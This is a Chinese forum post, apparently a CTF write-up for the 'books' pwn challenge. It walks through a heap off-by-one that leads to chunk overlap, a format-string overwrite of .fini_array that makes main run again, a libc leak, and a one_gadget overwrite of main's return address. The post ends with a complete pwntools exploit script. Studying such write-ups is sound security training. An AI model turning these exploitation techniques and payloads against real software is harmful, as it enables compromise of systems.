好友
阅读权限35
听众
最后登录1970-1-1
|
本帖最后由 peiwithhao 于 2022-8-20 11:54 编辑
首先仍然是查看保护,发现其中got表可写,开启canary以及没开地址随机
然后就是看看代码逻辑了,单从执行开始看,发现其中就是1,2选项是修改某个值,然后3,4可以直观看出来,最后5选项也就是呈现1,2的值然后退出
IDA来!
利用漏洞(无限写,overlapping)
反编译后发现这里有个漏洞,这里导致的好像是无限写,并且在右边主函数那儿发现开始运行时都会申请一个用户大小为0x80的块分配给order1与order2,
然后这个程序又贴心的给我们申请了一个大小为0x80的块来防止与topchunk合并,很明显这题是疯狂暗示我们要采用chunkshrink来overlapping下一个块了
因此我们首先修改第一个块,由于参数是0x80,而本程序是64位,所以真正实际上分配的块大小为0x90,因此我们在溢出的时候就需要发送0x89个值来刚好覆盖至下一个块的size值
此时输入0x88时刚好覆盖完,然后他再将最后一位也就是本该时‘\n’的那位置为‘\x00’,但是我们漏,于是我们就输入0x89个字符,其中由于用的是sendline,所以相当于送入了0x8a个
字符,而他又会将我的第0x8a个字符置为0x00(小端序),而0x89所构造的字符就会成为其中order2块的size值,因此我们就将其值包含到下一个desk块中
上图即为初始堆布局,可以清楚的看到三个堆块的详细信息,此时我们用上述代码进行溢出
发现成功修改成我们需要的大小(由程序逻辑可以看出为0x150大小,上述的0xa1只不过是举例),然后我们就继续利用这个漏洞,将这个被我们修改了的块进行free
根据程序逻辑,在submit时会申请一个0x150大小的块,此时我们就将刚好free掉的去unsortedbin的0x150大小的块分配给他
所以此时的submit的指针指向的恰好就是order2所指向的块
上图说明执行成功,大伙可以稍微思考思考为什么会如此输出,此处我再贴下submit代码和现阶段exp
所以在继续观察代码后发现最终所submit的块其中的分布大致是Order 1: + chunk1 + \nOrder 2: + Order 1: + chunk1
所以为了利用代码中最后一个printf中的格式化字符串漏洞,我们就需要使得后一个chunk1恰好处于代码中desk块的位置
经过计算可知chunk1的大小应该为0x74个字符,计算方法参考上述表达式,所以之后就是格式化字符串漏洞的利用
利用漏洞(format格式化字符串)
由于该程序只能运行一次,所以不能达到pwn的效果,所以在这里利用fini_array的知识,这涉及了程序启动运行以及结束的相关知识,
在这里具体使用方法就是将fini_array的内容写为__libc_start_main即可使得该程序在第一次结束时立马开始二次运行。
给哥们写麻了,由于我这是边写边码字,所以上面可能会有点乱,但大致记录了我自己的思考过程,一上午没写完现在就接着写
由于需要写入fini_array ,但是又找不出来具体地址,所以我们就需要自己在栈上构造,由于发现在输入选项的时候可以写至多128个字符,
所以符合了我们在栈上构造fini_array地址的需求
所以我们在栈上构造fini之后,在通过gdb调试可知在第12个参数,而由于本题并没有使出pie等招数
所以其程序各段地址在一开始是确定的,因此我们就需要将main函数的地址写入fini_array中。
通过ida发现main函数的地址为0x400a39,而fini_array的got表项地址为0x6011b8,而该got表项中包含的值为0x400830,所以说我们就只用将低字节的0xa39覆盖0x6011b8中即可,
所以我们来构造之前早已写好但是没确定格式化漏洞的chunk1.该具体的payload 构造为'%2617c%13$hn' + 'c'*0x68
成功,可以看到fini的地址成功改为main的地址,并且程序又执行了一编,因此我们向成功迈进了一大步,所以我们现在就是需要在第一次执行程序的时候,
把libc基地址给泄露了,在栈上寻找时也可以看到__libc_start_main的地址,因此也是通过格式化字符串进行泄露。以下即为泄露结果以及现阶段exp
泄露了之后该如何利用呢,这里我新学了个知识点,这也是在看雪的师傅的一个文章学到的,那也就是修改main函数的返回值为one_gadget,
而具体泄露方法也就是查看栈上的固定便宜的量,其中我找到为如下图,可知道这个栈地址指向的栈对于main函数的偏移时固定的,都为0xe8
因此我就泄露这里的地址。这里还得讲一句那就是在fini调用了main函数之后,他的栈会产生一个固定的偏置值,我们可以通过调试很方便的查看到两次返回函数的偏置值,
在我这个环境下该值为0xe0,所以此时的二次利用除了修改位置不同,其他大致类似。
整体exp如下
[Python] 纯文本查看 复制代码 from pwn import *
io = process('./books')
context.log_level = 'INFO'
elf = ELF('./books')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_start_addr = libc.sym['__libc_start_main']
one_gadget = 0xcb5ca
main_addr = 0x400a39
fini_addr = 0x6011b8 #内容为0x400830
def edit(i,payload): #修改函数
io.recvuntil('t\n')
io.sendline(str(i))
io.recvuntil(':\n')
io.sendline(payload)
def submit(payload):
io.recvuntil('t\n')
io.sendline(payload)
def delete(i):
io.recvuntil('t\n')
io.sendline(str(i))
pl1 = b'a'*0x88 + p64(0x151)
#gdb.attach(io)
edit(1,pl1) #覆盖下一个块
delete(4) #free掉块2
pl2 = '%2617c%13$hn' #这里保持payload长度为0x74即可
pl2 += '.%31$p' + ',%28$p'
pl2 += 'a'*(0x74 - len(pl2))
edit(1,pl2)
pl3 = b'5'+b'\x00'*7 + p64(fini_addr) #这里是为了在栈上写入.fini_array的地址
#gdb.attach(io)
submit(pl3)
io.recvuntil('.')
io.recvuntil('.')
io.recvuntil('.')
libc_start_main_addr = str(io.recv(14))
io.recvuntil(',')
ret_fake = str(io.recv(14))
libc_start_main_addr = int(libc_start_main_addr[2:16:1],16)
ret_fake = int(ret_fake[2:16:1],16) - 0xe8
libc_start_main_addr -=205
#libc_starrt_main_addr = int(str(libc_start_main_addr),16)
io.success('libc_start_main_addr==>'+hex(libc_start_main_addr))
io.success('ret_fake==>' + hex(ret_fake))
libc_base = libc_start_main_addr - libc_start_addr
io.success('libc_base==>'+ hex(libc_base))
one_gadget += libc_base
io.success('one_gadget==>'+hex(one_gadget))
print('==========================') #阶段二
one_1 = hex(one_gadget)[-2:]
one_1 = int(one_1,16)
one_2 = hex(one_gadget)[-6:-2]
one_2 = int(one_2,16)
io.success('one_1 ==>'+hex(one_1) + '\none_2==>'+hex(one_2))
pl4 = '%'+str(one_1)+'c%13$hhn%'
pl4 += '%' + str(one_2-one_1) + 'c%14$hn'
pl4 += 'a'*(0x74-len(pl4))
edit(1,pl1)
delete(4)
sleep(1)
edit(1,pl4)
io.success('ret_fake_new ==>'+ hex(ret_fake-0xe0))
ret_fake_new = ret_fake-0xe0
pl5 = b'5' + b'\x00'*7+p64(ret_fake_new) + p64(ret_fake_new+1)
#gdb.attach(io)
submit(pl5)
sleep(1)
io.interactive()
|
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|